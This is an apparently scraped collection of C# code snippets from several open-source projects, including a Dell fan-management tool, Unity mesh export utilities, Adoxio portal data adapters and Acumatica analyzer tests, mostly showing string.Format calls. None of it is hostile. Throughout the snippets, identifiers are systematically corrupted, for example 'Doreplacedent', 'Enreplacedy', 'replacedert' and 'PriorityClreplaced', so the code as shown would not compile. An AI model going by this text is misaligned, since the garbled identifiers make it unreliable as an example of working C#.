                // Clean up as the program terminates.
                _fanController.Shutdown();
            }
            catch (Exception exception)
            {
                if (releaseSemapreplaced)
                {
                    _state.Release();
                }

                _state.WaitOne();
                _state.Error = string.Format("{0}: {1}\n{2}", exception.GetType().ToString(), exception.Message, exception.StackTrace);
                _state.Release();

                Log.Write(_state.Error);
            }

            _state.WaitOne();
            _state.BackgroundThreadRunning = false;
            _state.Release();

            UpdateForm();
        }

19 View Source File : DellFanManagementApp.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley

[STAThread]
        static int Main(string[] args)
        {
            if (args.Length == 0)
            {
                // GUI mode.
                try
                {
                    if (UacHelper.IsProcessElevated())
                    {
                        // Looks like we're ready to start up the GUI app.
                        // Set process priority to high.
                        Process.GetCurrentProcess().PriorityClreplaced = ProcessPriorityClreplaced.High;

                        // Boilerplate code to start the app.
                        Application.SetHighDpiMode(HighDpiMode.DpiUnaware);
                        Application.EnableVisualStyles();
                        Application.SetCompatibleTextRenderingDefault(false);
                        Application.Run(new DellFanManagementGuiForm());
                    }
                    else
                    {
                        MessageBox.Show("This program must be run with administrative privileges.", "Dell Fan Management privilege check", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                }
                catch (Exception exception)
                {
                    MessageBox.Show(string.Format("{0}: {1}\n{2}", exception.GetType().ToString(), exception.Message, exception.StackTrace),
                        "Error starting application", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return 1;
                }

                return 0;
            }
            else
            {
                // CMD mode.
                try
                {
                    Console.WriteLine("Dell Fan Management, version {0}", Version);
                    Console.WriteLine("By Aaron Kelley");
                    Console.WriteLine("Licensed under GPLv3");
                    Console.WriteLine("Source code available at https://github.com/AaronKelley/DellFanManagement");
                    Console.WriteLine();

                    if (UacHelper.IsProcessElevated())
                    {
                        if (args[0].ToLower() == "packagetest")
                        {
                            return PackageTest.RunPackageTests() ? 0 : 1;
                        }
                        else if (args[0].ToLower() == "setthermalsetting")
                        {
                            return SetThermalSetting.ExecuteSetThermalSetting(args);
                        }
                        else if (args[0].ToLower() == "smi-token-dump")
                        {
                            return SmiTokenDump();
                        }
                        else if (args[0].ToLower() == "smi-get-token")
                        {
                            return SmiGetToken(args);
                        }
                        else if (args[0].ToLower() == "smi-set-token")
                        {
                            return SmiSetToken(args);
                        }
                        else
                        {
                            Console.WriteLine("Dell SMM I/O driver by 424778940z");
                            Console.WriteLine("https://github.com/424778940z/bzh-windrv-dell-smm-io");
                            Console.WriteLine();
                            Console.WriteLine("Derived from \"Dell fan utility\" by 424778940z");
                            Console.WriteLine("https://github.com/424778940z/dell-fan-utility");
                            Console.WriteLine();

                            return DellFanCmd.ProcessCommand(args);
                        }
                    }
                    else
                    {
                        Console.WriteLine();
                        Console.WriteLine("This program must be run with administrative privileges.");
                        return 1;
                    }
                }
                catch (Exception exception)
                {
                    Console.Error.WriteLine("{0}: {1}\n{2}", exception.GetType().ToString(), exception.Message, exception.StackTrace);
                    return 1;
                }
            }
        }

19 View Source File : Contract.cs
License : MIT License
Project Creator : abdullin

[DebuggerStepThrough, DebuggerHidden]
		internal static void RaiseContractFailure(SDC.ContractFailureKind kind, string message, string file, int line)
		{
			if (message == null)
			{
				switch (kind)
				{
					case SDC.ContractFailureKind.replacedert: message = "An replacedertion was not met"; break;
					case SDC.ContractFailureKind.Precondition: message = "A pre-requisite was not met"; break;
					case SDC.ContractFailureKind.Postcondition: message = "A post-condition was not met"; break;
					default: message = "An expectation was not met"; break;
				}
			}
			if (file != null)
			{ // add the caller infos
				message = String.Format("{0} in {1}:line {2}", message, file, line);
			}

			//TODO: check if we are running under NUnit, and map to an replacedert.Fail() instead ?

			Debug.Fail(message);
			// If you break here, that means that an replacedertion failed somewhere up the stack.
			// TODO: find a way to have the debugger break, but show the caller of Contract.replacedert(..) method, instead of here ?
			if (Debugger.IsAttached) Debugger.Break();

			throw new InvalidOperationException(message);
		}

19 View Source File : OBJWriterUtility.cs
License : Apache License 2.0
Project Creator : abist-co-ltd

private static void CreateOBJDataForMesh(MeshFilter meshFilter, StringBuilder buffer, ref int startVertexIndex)
        {
            Mesh mesh = meshFilter.sharedMesh;
            if (!mesh)
            {
                return;
            }

            var transform = meshFilter.transform;

            buffer.Append("g ").Append(transform.name).AppendNewLine();

            foreach (Vector3 vertex in mesh.vertices)
            {
                Vector3 v = transform.TransformPoint(vertex);
                buffer.Append($"v {v.x} {v.y} {v.z}\n");
            }
            buffer.AppendNewLine();

            foreach (Vector3 normal in mesh.normals)
            {
                Vector3 vn = transform.TransformDirection(normal);
                buffer.Append($"vn {vn.x} {vn.y} {vn.z}\n");
            }

            buffer.AppendNewLine();
            foreach (Vector3 uv in mesh.uv)
            {
                buffer.Append($"vt {uv.x} {uv.y}\n");
            }

            for (int idx = 0; idx < mesh.subMeshCount; idx++)
            {
                buffer.AppendNewLine();

                int[] triangles = mesh.GetTriangles(idx);
                for (int i = 0; i < triangles.Length; i += 3)
                {
                    buffer.Append(string.Format("f {0}/{0}/{0} {1}/{1}/{1} {2}/{2}/{2}\n",
                        triangles[i] + 1 + startVertexIndex, triangles[i + 1] + 1 + startVertexIndex, triangles[i + 2] + 1 + startVertexIndex));
                }
            }

            startVertexIndex += mesh.vertexCount;
        }

19 View Source File : InputAnimationSerializationUtils.cs
License : Apache License 2.0
Project Creator : abist-co-ltd

public static string GetOutputFilename(string baseName="InputAnimation", bool appendTimestamp=true)
        {
            string filename;
            if (appendTimestamp)
            {
                filename = String.Format("{0}-{1}.{2}", baseName, DateTime.UtcNow.ToString("yyyyMMdd-HHmmss"), InputAnimationSerializationUtils.Extension);
            }
            else
            {
                filename = baseName;
            }
            return filename;
        }

19 View Source File : ONSPVersion.cs
License : MIT License
Project Creator : absurd-joy

void Awake()
	{
        int major = 0;
        int minor = 0; 
        int patch = 0;

        ONSP_GetVersion(ref major, ref minor, ref patch);

        String version = System.String.Format
        ("ONSP Version: {0:F0}.{1:F0}.{2:F0}", major, minor, patch);
        
        Debug.Log(version);
	}

19 View Source File : ActivatedFeature.cs
License : Microsoft Public License
Project Creator : achimismaili

public override string ToString()
        {
            return string.Format(
                "Feature '{0}', id:{1} in location:{2}",
                this.DisplayName,
                this.FeatureId,
                this.LocationId
                );
        }

19 View Source File : Utilities.cs
License : GNU Lesser General Public License v3.0
Project Creator : acnicholas

public static string Export(List<Schedule> schedules, string exportPath)
        {
            System.Text.StringBuilder exportMsg = new System.Text.StringBuilder();
            int successes = 0;
            int attempts = 0;
            using (var options = LoadSavedExportOptions())
            {
                // FIXME - Let user choose export name.
                var excelFileName = "RevitSchedules_" + Common.MiscUtilities.GetVerboseDateString + ".xlsx";
                foreach (var schedule in schedules)
                {
                    attempts++;
                    if (!Directory.Exists(exportPath))
                    {
                        exportMsg.AppendLine("[Error] " + schedule.ExportName + ". Directory not found: " + exportPath);
                        continue;
                    }
                    if (schedule.Export(options, exportPath))
                    {
                        exportMsg.AppendLine("[Success} " + schedule.ExportName);
                        successes++;
                        if (Settings.Default.ExportExcel)
                        {
                            AddDelimitedDataToExcelWorkbook(
                                Path.Combine(exportPath, excelFileName),
                                schedule.ExportName,
                                Path.Combine(exportPath, schedule.ExportName));
                        }
                    } else
                    {
                        exportMsg.AppendLine("[Error] " + schedule.ExportName);
                    }
                }
            }
            var fails = attempts - successes;
            var summaryString = string.Format(
                "Export Summary:" + System.Environment.NewLine +
                "{0} Export(s) attempted with {1} successe(s) and {2} fail(s))" + System.Environment.NewLine +
                System.Environment.NewLine, 
                attempts, 
                successes, 
                fails);
            exportMsg.Insert(0, summaryString);
            return exportMsg.ToString();
        }

19 View Source File : JsonWebToken.cs
License : MIT License
Project Creator : actions

private string Encode()
        {
            string encodedHeader = JsonWebTokenUtilities.JsonEncode(this._header);
            string encodedPayload = JsonWebTokenUtilities.JsonEncode(this._payload);
            string encodedSignature = null;
            if (this._signature != null)
            {
                encodedSignature = this._signature.ToBase64StringNoPadding();
            }

            return string.Format("{0}.{1}.{2}", encodedHeader, encodedPayload, encodedSignature);
        }

19 View Source File : MainControl.xaml.cs
License : MIT License
Project Creator : Actipro

public static string GetCustomLabel(object primaryValue, object secondaryValue, object xValue, object yValue, object originalValue) {
			return string.Format("X: {0}{1}Y: {2}", xValue, Environment.NewLine, yValue);
		}

19 View Source File : MainControl.xaml.cs
License : MIT License
Project Creator : Actipro

private void OnTreeListBoxSelectionChanged(object sender, SelectionChangedEventArgs e) {
			selectedItemTextBlock.Text = String.Format("Selected item ({0} added, {1} removed, updated {2}):",
				e.AddedItems.Count, e.RemovedItems.Count, DateTime.Now.ToLongTimeString());
		}

19 View Source File : MainControl.xaml.cs
License : MIT License
Project Creator : Actipro

private string GetNextEmployeeName() {
			var lastNames = new string[] {
				"Smith", "Brown", "Johnson", "Jones", "Williams", "Davis", "Miller", "Wilson", "Taylor", "Clark", "Moore",
				"Thompson", "Allen", "Martin", "Hall", "Adams", "Baker", "Wright", "Anderson", "Lewis", "Harris", "Hill", "King"
			};

			var firstNames = new string[] {
				"Aiden", "Jack", "Ethan", "Jacob", "Caleb", "Ryan", "Connor", "Michael", "John", "Bob", "Evan", "Luke", "Tyler", "Lucy", "Anne",
				"Carter", "Daniel", "Andrew", "William", "James", "Matthew", "Nathan", "Benjamin", "Max", "Issac", "Zachary", "David", "Mary"
			};

			return String.Format("{0} {1} (#{2})", firstNames[random.Next(firstNames.Length)], lastNames[random.Next(lastNames.Length)], nextEmployeeNumber++);
		}

19 View Source File : SuppressDiagnosticFix.cs
License : GNU General Public License v3.0
Project Creator : Acumatica

private async Task<Doreplacedent> AddSuppressionCommentAsync(CodeFixContext context, Diagnostic diagnostic, CancellationToken cancellationToken)
		{
			var doreplacedent = context.Doreplacedent;
			var root = await doreplacedent.GetSyntaxRootAsync(cancellationToken).ConfigureAwait(false);
			var node = root?.FindNode(context.Span);

			if (diagnostic == null || node == null || cancellationToken.IsCancellationRequested)
				return doreplacedent;

			var (diagnosticShortName, diagnosticJustification) = GetDiagnosticShortNameAndJustification(diagnostic);

			if (!string.IsNullOrWhiteSpace(diagnosticShortName))
			{
				SyntaxTriviaList commentNode = SyntaxFactory.TriviaList(
					SyntaxFactory.SyntaxTrivia(SyntaxKind.SingleLineCommentTrivia,
											   string.Format(_comment, diagnostic.Id, diagnosticShortName, diagnosticJustification)),
					SyntaxFactory.ElasticEndOfLine(""));

				while (!(node == null || node is StatementSyntax || node is MemberDeclarationSyntax))
				{
					node = node.Parent;
				}

				SyntaxTriviaList leadingTrivia = node.GetLeadingTrivia();
				var modifiedRoot = root.InsertTriviaAfter(leadingTrivia.Last(), commentNode);

				return doreplacedent.WithSyntaxRoot(modifiedRoot);
			}

			return doreplacedent;
		}

19 View Source File : DiagnosticVerifier.cs
License : GNU General Public License v3.0
Project Creator : Acumatica

private static void VerifyDiagnosticResults(IEnumerable<Diagnostic> actualResults, Diagnosticreplacedyzer replacedyzer, params DiagnosticResult[] expectedResults)
		{
			int expectedCount = expectedResults.Count();
			int actualCount = actualResults.Count();

			if (expectedCount != actualCount)
			{
				string diagnosticsOutput = actualResults.Any() ? FormatDiagnostics(replacedyzer, actualResults.ToArray()) : "    NONE.";
                
				replacedert.True(false,
					string.Format("Mismatch between number of diagnostics returned, expected \"{0}\" actual \"{1}\"\r\n\r\nDiagnostics:\r\n{2}\r\n", expectedCount, actualCount, diagnosticsOutput));
			}

			for (int i = 0; i < expectedResults.Length; i++)
			{
				var actual = actualResults.ElementAt(i);
				var expected = expectedResults[i];

				if (expected.Line == -1 && expected.Column == -1)
				{
					if (actual.Location != Location.None)
					{
						replacedert.True(false,
							string.Format("Expected:\nA project diagnostic with No location\nActual:\n{0}",
							FormatDiagnostics(replacedyzer, actual)));
					}
				}
				else
				{
					VerifyDiagnosticLocation(replacedyzer, actual, actual.Location, expected.Locations.First());
					var additionalLocations = actual.AdditionalLocations.ToArray();

					if (additionalLocations.Length != expected.Locations.Length - 1)
					{
						replacedert.True(false,
							string.Format("Expected {0} additional locations but got {1} for Diagnostic:\r\n    {2}\r\n",
								expected.Locations.Length - 1, additionalLocations.Length,
								FormatDiagnostics(replacedyzer, actual)));
					}

					for (int j = 0; j < additionalLocations.Length; ++j)
					{
						VerifyDiagnosticLocation(replacedyzer, actual, additionalLocations[j], expected.Locations[j + 1]);
					}
				}

				if (actual.Id != expected.Id)
				{
					replacedert.True(false,
						string.Format("Expected diagnostic id to be \"{0}\" was \"{1}\"\r\n\r\nDiagnostic:\r\n    {2}\r\n",
							expected.Id, actual.Id, FormatDiagnostics(replacedyzer, actual)));
				}

				if (actual.Severity != expected.Severity)
				{
					replacedert.True(false,
						string.Format("Expected diagnostic severity to be \"{0}\" was \"{1}\"\r\n\r\nDiagnostic:\r\n    {2}\r\n",
							expected.Severity, actual.Severity, FormatDiagnostics(replacedyzer, actual)));
				}

				if (actual.GetMessage() != expected.Message)
				{
					replacedert.True(false,
						string.Format("Expected diagnostic message to be \"{0}\" was \"{1}\"\r\n\r\nDiagnostic:\r\n    {2}\r\n",
							expected.Message, actual.GetMessage(), FormatDiagnostics(replacedyzer, actual)));
				}
			}
		}

19 View Source File : PortalSolutions.cs
License : MIT License
Project Creator : Adoxio

private void TraceSolutions()
		{
			var stringBuilder = new StringBuilder();

			var tableDifinition = new Dictionary<string, Func<SolutionInfo, string>>
			{
				{ "Unique name", s => s.Name },
				{ "Version", s => s.SolutionVersion.ToString() },
				{ "Installed on", s => s.InstalledOn.ToString() }
			};

			var columnFormat = new Dictionary<string, string>();

			// Calcule width of each column and write header
			foreach (var columnDefinition in tableDifinition)
			{
				var maxWidth = this.Solutions.Values.Max(solution => tableDifinition[columnDefinition.Key](solution).Length);
				var format = string.Format("{{0, -{0}}}", maxWidth);
				columnFormat[columnDefinition.Key] = format;

				stringBuilder.AppendFormat(format, columnDefinition.Key);
				stringBuilder.Append(" ");
			}
			stringBuilder.AppendLine();

			// Render rows
			foreach (var solution in this.Solutions.Values)
			{
				foreach (var columnDefinition in tableDifinition)
				{
					stringBuilder.AppendFormat(columnFormat[columnDefinition.Key], columnDefinition.Value(solution));
					stringBuilder.Append(" ");
				}
				stringBuilder.AppendLine();
			}

			ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("Installed portal solutions on CRM {0}:{1}{2}", this.CrmVersion, Environment.NewLine, stringBuilder));
		}

19 View Source File : ContentMap.cs
License : MIT License
Project Creator : Adoxio

public void Using(ContentMapLockType lockType, Action action,
			[CallerMemberName] string memberName = "",
			[CallerFilePath] string sourceFilePath = "",
			[CallerLineNumber] int sourceLineNumber = 0)
		{
			var timer = Stopwatch.StartNew();
			var contentMapCallId = Guid.NewGuid();

			CmsEventSource.Log.ContentMapLockStatus(lockType, "Requested", timer.ElapsedMilliseconds);
			ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("ContentMap[{0}]: LockType - {1}, Requested - {2}", contentMapCallId, lockType, timer.ElapsedMilliseconds),
				memberName, sourceFilePath, sourceLineNumber);

			if (lockType == ContentMapLockType.Read && !_lock.TryEnterReadLock(LockTimeout))
			{
				TraceLock("Using", _lock);
				CmsEventSource.Log.ContentMapLockTimeout(lockType, _lock);
				ADXTrace.Instance.TraceError(TraceCategory.Application, string.Format("ContentMap[{0}]: Failed to acquire read lock on content map. LockType - {1}", contentMapCallId, lockType),
					memberName, sourceFilePath, sourceLineNumber);

				throw new TimeoutException("Failed to acquire read lock on content map.");
			}

			if (lockType == ContentMapLockType.Write && !_lock.TryEnterWriteLock(LockTimeout))
			{
				TraceLock("Using", _lock);
				CmsEventSource.Log.ContentMapLockTimeout(lockType, _lock);
				ADXTrace.Instance.TraceError(TraceCategory.Application, string.Format("ContentMap[{0}]: A write lock couldn't be acquired on the content map. LockType - {1}", contentMapCallId, lockType),
					memberName, sourceFilePath, sourceLineNumber);

				throw new TimeoutException("A write lock couldn't be acquired on the content map.");
			}

			try
			{
				CmsEventSource.Log.ContentMapLockStatus(lockType, "Acquired", timer.ElapsedMilliseconds);
				ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("ContentMap[{0}]: LockType - {1}, Acquired - {2}", contentMapCallId, lockType, timer.ElapsedMilliseconds),
					memberName, sourceFilePath, sourceLineNumber);
				action();
			}
			finally
			{
				if (lockType == ContentMapLockType.Read) _lock.ExitReadLock();
				if (lockType == ContentMapLockType.Write) _lock.ExitWriteLock();

				timer.Stop();

				CmsEventSource.Log.ContentMapLockStatus(lockType, "Released", timer.ElapsedMilliseconds);
				ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("ContentMap[{0}]: LockType - {1}, Released - {2}", contentMapCallId, lockType, timer.ElapsedMilliseconds),
					memberName, sourceFilePath, sourceLineNumber);
			}
		}

19 View Source File : ActivityEnabledEntityDataAdapter.cs
License : MIT License
Project Creator : Adoxio

protected Enreplacedy SelectAlert(OrganizationServiceContext serviceContext, EnreplacedyReference user)
		{
			if (serviceContext == null) throw new ArgumentNullException("serviceContext");
			if (user == null) throw new ArgumentNullException("user");

			var metadataRequest = new RetrieveEnreplacedyRequest
												  {
													  LogicalName = RecordReference.LogicalName,
													  EnreplacedyFilters = EnreplacedyFilters.Attributes
												  };

			var metadataResponse = (RetrieveEnreplacedyResponse)serviceContext.Execute(metadataRequest);

			var primaryIdFieldName = metadataResponse.EnreplacedyMetadata.PrimaryIdAttribute;

			var fetchXmlString = string.Format(@"
					<fetch mapping=""logical"" distinct=""true"">
						<enreplacedy name=""adx_alertsubscription"">
							<attribute name=""activityid""/>
							<attribute name=""subject""/>
							<attribute name=""createdon""/>
							<link-enreplacedy name=""activityparty"" from=""activityid"" to=""activityid"" alias=""aa"">
								<filter type=""and"">
									<condition attribute=""partyid"" operator=""eq"" />
								</filter>
							</link-enreplacedy>
							<link-enreplacedy name=""{0}"" from=""{1}"" to=""regardingobjectid"" alias=""ab"">
								<filter type=""and"">
									<condition attribute=""{2}"" operator=""eq"" />
								</filter>
							</link-enreplacedy>
						</enreplacedy>
					</fetch>", RecordReference.LogicalName, primaryIdFieldName, primaryIdFieldName);

			var fetchXml = XDoreplacedent.Parse(fetchXmlString);

			var recordIdAttribute = fetchXml.XPathSelectElement(string.Format("//condition[@attribute='{0}']", primaryIdFieldName));

			if (recordIdAttribute == null)
			{
				throw new InvalidOperationException("Unable to select the regarding record filter element.");
			}

			recordIdAttribute.SetAttributeValue("value", RecordReference.Id.ToString());

			var contactIdAttribute = fetchXml.XPathSelectElement("//condition[@attribute='partyid']");

			if (contactIdAttribute == null)
			{
				throw new InvalidOperationException("Unable to select the contact filter element.");
			}

			contactIdAttribute.SetAttributeValue("value", user.Id.ToString());

			var response = (RetrieveMultipleResponse)serviceContext.Execute(new RetrieveMultipleRequest
			{
				Query = new FetchExpression(fetchXml.ToString())
			});

			return response.EnreplacedyCollection.Enreplacedies.FirstOrDefault();

		}

19 View Source File : ContentMapProvider.cs
License : MIT License
Project Creator : Adoxio

private static void Refresh(CrmDbContext context, ContentMap map, List<EnreplacedyReference> references)
		{
			if (references.Count > 0)
			{
				references[0].ThrowOnNull("reference");
				EnreplacedyDefinition ed;
				Dictionary<Guid, Enreplacedy> mapEnreplacedies = new Dictionary<Guid, Enreplacedy>();
				bool getEnreplacedyDefinition = map.Solution.Enreplacedies.TryGetValue(references[0].LogicalName, out ed);

				if (getEnreplacedyDefinition)
				{
					List<Guid> guids = new List<Guid>();
					foreach (var reference in references)
					{
						reference.ThrowOnNull("reference");
						guids.Add(reference.Id);
						ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("LogicalName={0}, Id={1}", EnreplacedyNamePrivacy.GetEnreplacedyName(reference.LogicalName), reference.Id));
					}
					try
					{
						string primaryEnreplacedyAttribute = EventHubBasedInvalidation.CrmChangeTrackingManager.Instance.TryGetPrimaryKey(references[0].LogicalName);

						var enreplacedies = RetrieveCRMRecords(context, primaryEnreplacedyAttribute, references[0], ed, guids);
						foreach (var enreplacedy in enreplacedies)
						{
							mapEnreplacedies.Add(enreplacedy.Id, enreplacedy);
						}

						ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("Retrieve Multiple Response for Enreplacedy {0} has Record Count {1} , Refrence Count {2} ", references[0].LogicalName, enreplacedies.Count, references.Count));

						// check if the enreplacedy is inactive according to the definition
						foreach (var reference in references)
						{
							var enreplacedy = mapEnreplacedies.ContainsKey(reference.Id) ? (Enreplacedy)mapEnreplacedies[reference.Id] : null;

							// Check if the enreplacedy matches on the defined relationships.
							if (!ed.ShouldIncludeInContentMap(enreplacedy))
							{
								continue;
							}

							var option = enreplacedy != null ? enreplacedy.GetAttributeValue<OptionSetValue>("statecode") : null;
							var isActive = ed.ActiveStateCode == null || (option != null && ed.ActiveStateCode.Value == option.Value);
							var node = map.Using(ContentMapLockType.Write, () => enreplacedy != null
								? isActive
									? map.Replace(enreplacedy)
									: map.Deactivate(reference)
								: map.Remove(reference));
						}

					}
					catch (FaultException<OrganizationServiceFault>)
					{
						// an exception occurs when trying to retrieve a non-existing enreplacedy
						ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("An exception occurs when trying to retrieve a non-existing enreplacedy"));
					}
				}
				else
				{
					ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("Unknown: logicalName={0}", EnreplacedyNamePrivacy.GetEnreplacedyName(references[0].LogicalName)));
				}
			}
		}

19 View Source File : MetadataHelper.cs
License : MIT License
Project Creator : Adoxio

public static string GetOptionSetLabelByValue(OrganizationServiceContext context, string enreplacedyLogicalName, string attributeLogicalName, int value, int? languageCode)
		{
			if (string.IsNullOrEmpty(enreplacedyLogicalName) || string.IsNullOrEmpty(attributeLogicalName))
			{
				return string.Empty;
			}

			string cachedLabel;

			var cachedItemToFind = string.Format("{0}:{1}:{2}", enreplacedyLogicalName, attributeLogicalName, value);

			if (OptionSetLabelCache.TryGetValue(cachedItemToFind, out cachedLabel))
			{
				return cachedLabel;
			}

			var retrieveAttributeRequest = new RetrieveAttributeRequest
			{
				EnreplacedyLogicalName = enreplacedyLogicalName,
				LogicalName = attributeLogicalName
			};

			var retrieveAttributeResponse = (RetrieveAttributeResponse)context.Execute(retrieveAttributeRequest);

			var retrievedPicklistAttributeMetadata = (EnumAttributeMetadata)retrieveAttributeResponse.AttributeMetadata;

			var option = retrievedPicklistAttributeMetadata.OptionSet.Options.FirstOrDefault(o => o.Value == value);

			if (option == null)
			{
				return string.Empty;
			}

			var label = option.Label.GetLocalizedLabelString();

			if (languageCode != null)
			{
				foreach (var item in option.Label.LocalizedLabels.Where(item => item.LanguageCode == languageCode))
				{
					label = item.Label;

					break;
				}
			}

			if (option.Value.HasValue)
			{
				OptionSetLabelCache[cachedItemToFind] = label;
			}

			return label;
		}

19 View Source File : ActivityEnabledEntityDataAdapter.cs
License : MIT License
Project Creator : Adoxio

public bool HasAlert(EnreplacedyReference user)
		{
			if (user == null) throw new ArgumentNullException("user");

            ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("Start: {0}:{1}", user.LogicalName, user.Id));

			var serviceContext = Dependencies.GetServiceContext();
			var existingAlert = SelectAlert(serviceContext, user);

			var hasAlert = existingAlert != null;

            ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("End: {0}:{1}, {2}", user.LogicalName, user.Id, hasAlert));

			return hasAlert;
		}

19 View Source File : ForumThreadDataAdapter.cs
License : MIT License
Project Creator : Adoxio

public bool HasAlert(EnreplacedyReference user)
		{
			if (user == null) throw new ArgumentNullException("user");

			ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("Start: {0}:{1}", user.LogicalName, user.Id));

			var serviceContext = Dependencies.GetServiceContext();
			var existingAlert = SelectAlert(serviceContext, user);

			var hasAlert = existingAlert != null;

			ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("End: {0}:{1}, {2}", user.LogicalName, user.Id, hasAlert));

			return hasAlert;
		}

19 View Source File : KnowledgeArticleAggregationDataAdapter.cs
License : MIT License
Project Creator : Adoxio

private Fetch GetBaseArticleFetch(int pageSize = 5, string languageLocaleCode = null)
		{
			const int published = 3;

			// if language locale code is not provided, fallback to the site setting
			if (string.IsNullOrWhiteSpace(languageLocaleCode))
			{
				var portalContext = PortalCrmConfigurationManager.CreatePortalContext();
				languageLocaleCode = portalContext.ServiceContext.GetSiteSettingValueByName(portalContext.Website, "KnowledgeManagement/Article/Language");
			}
			var optionalLanguageCondition = string.IsNullOrWhiteSpace(languageLocaleCode) ? string.Empty : string.Format("<condition enreplacedyname='language_locale' attribute='code' operator='eq' value = '{0}' />", languageLocaleCode);

			var articlesFetchXmlFormat = @"
			<fetch mapping='logical' count='{0}' returntotalrecordcount='true'>
				<enreplacedy name='knowledgearticle'>
					<all-attributes /> 
					<link-enreplacedy name='languagelocale' from='languagelocaleid' to='languagelocaleid' visible='false' link-type='outer'  alias='language_locale'>
						<attribute name='localeid' />
						<attribute name='code' />
						<attribute name='region' />
						<attribute name='name' />
						<attribute name='language' />
					</link-enreplacedy>
					<filter type='and'>
						<condition attribute='isrootarticle' operator='eq' value='0' />
						<condition attribute='statecode' operator='eq' value='{1}' />
						<condition attribute='isinternal' operator='eq' value='0' />
						{2}
					</filter>
				</enreplacedy>
			</fetch>";

			var articlesFetchXml = string.Format(articlesFetchXmlFormat, pageSize, published, optionalLanguageCondition);

			var articleFetch = Fetch.Parse(articlesFetchXml);

            // Apply Content Access Level filtering
            var contentAccessProvider = new ContentAccessLevelProvider();
            contentAccessProvider.TryApplyRecordLevelFiltersToFetch(CrmEnreplacedyPermissionRight.Read, articleFetch);

            // Apply Product filtering
            var productAccessProvider = new ProductAccessProvider();
            productAccessProvider.TryApplyRecordLevelFiltersToFetch(CrmEnreplacedyPermissionRight.Read, articleFetch);

            return articleFetch;
		}

19 View Source File : ReviewAggregationDataAdapter.cs
License : MIT License
Project Creator : Adoxio

public IEnumerable<IReview> SelectReviews(int startRowIndex, int maximumRows, string sortExpression)
		{
			ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("startRowIndex={0}, maximumRows={1}, sortExpression={2}: Start", startRowIndex, maximumRows, sortExpression));

			if (startRowIndex < 0)
			{
				throw new ArgumentException("Value must be a positive integer.", "startRowIndex");
			}

			if (maximumRows == 0)
			{
				return Enumerable.Empty<IReview>();
			}

			var serviceContext = Dependencies.GetServiceContext();

			var query = SelectEnreplacedies(serviceContext);

			var sorts = ParseSortExpression(string.IsNullOrEmpty(sortExpression) ? DefaultSortExpression : sortExpression);

			query = sorts.Aggregate(query, (current, sort) => sort.Item2 == SortDirection.Ascending
				? current.OrderBy(sort.Item1)
				: current.OrderByDescending(sort.Item1));

			if (startRowIndex > 0)
			{
				query = query.Skip(startRowIndex);
			}

			if (maximumRows > 0)
			{
				query = query.Take(maximumRows);
			}

			var user = Dependencies.GetPortalUser();
			var website = Dependencies.GetWebsite();

			var reviews = new ReviewFactory(serviceContext, user, website).Create(query);

			ADXTrace.Instance.TraceInfo(TraceCategory.Application, "End");

			if (FeatureCheckHelper.IsFeatureEnabled(FeatureNames.TelemetryFeatureUsage))
			{
				PortalFeatureTrace.TraceInstance.LogFeatureUsage(FeatureTraceCategory.ProductReview, HttpContext.Current, "read_product_review", string.Empty, reviews.Count(), string.Empty, "read");
			}

			return reviews;
		}

19 View Source File : ProductDataAdapter.cs
License : MIT License
Project Creator : Adoxio

public bool HasReview(EnreplacedyReference user)
		{
			if (user == null) throw new ArgumentNullException("user");

			ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("Start: {0}:{1}", user.LogicalName, user.Id));

			var serviceContext = Dependencies.GetServiceContext();
			var existingReview = SelectReview(serviceContext, user);

			var hasReview = existingReview != null;

			ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("End: {0}:{1}, {2}", user.LogicalName, user.Id, hasReview));

			return hasReview;
		}

19 View Source File : CrmEntityIndexSearcher.cs
License : MIT License
Project Creator : Adoxio

protected ICrmEnreplacedySearchResultPage GetUserSearchResults(ICrmEnreplacedyQuery query, int searchLimit, int initialOffset, int resultLimit, ICrmEnreplacedySearchResultFactory resultFactory, int pageNumber, int pageSize, ICollection<ICrmEnreplacedySearchResult> results)
        {
            ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("(searchLimit={0},rawOffset={1},resultLimit={2})", searchLimit, initialOffset, resultLimit));
            RawSearchResultSet rawSearchResults = GetRawSearchResults(query, searchLimit, initialOffset);
            
            if (initialOffset >= rawSearchResults.TotalHits)
            {
                return GenerateResultPage(results, rawSearchResults.TotalHits, pageNumber, pageSize, rawSearchResults);
            }

            var stopwatch = new Stopwatch();
            stopwatch.Start();
            var groupedNotes = new List<IGrouping<EnreplacedyReference, ICrmEnreplacedySearchResult>>();
            var displayNotes = IsAnnotationSearchEnabled();

            if (displayNotes && !string.IsNullOrEmpty(query.QueryTerm))
            {
                var rawNotes = this.GetRelatedAnnotations(rawSearchResults, query);

                var notes =
                    rawNotes.Select(doreplacedent => resultFactory.GetResult(doreplacedent, 1, results.Count + 1)).ToList();

                //Grouping Notes by related Knowledge Articles
                groupedNotes =
                    notes.Where(note => note.EnreplacedyLogicalName == "annotation")
                        .GroupBy(note => note.Enreplacedy.GetAttributeValue<EnreplacedyReference>("objectid"))
                        .ToList();
            }

            var offsetForNexreplacederation = initialOffset;

            foreach (var scoreDoc in rawSearchResults.Results)
            {
                offsetForNexreplacederation++;

                var result = resultFactory.GetResult(_searcher.Doc(scoreDoc.Doc), scoreDoc.Score, results.Count + 1);

                // Not a valid user result, filter out
                if (result == null)
                {
                    continue;
                }

                if (result.EnreplacedyLogicalName == "knowledgearticle" && displayNotes)
                {
                    var relatedNotes = groupedNotes.Where(a => a.Key.Id == result.EnreplacedyID).SelectMany(i => i).Take(3).ToList();

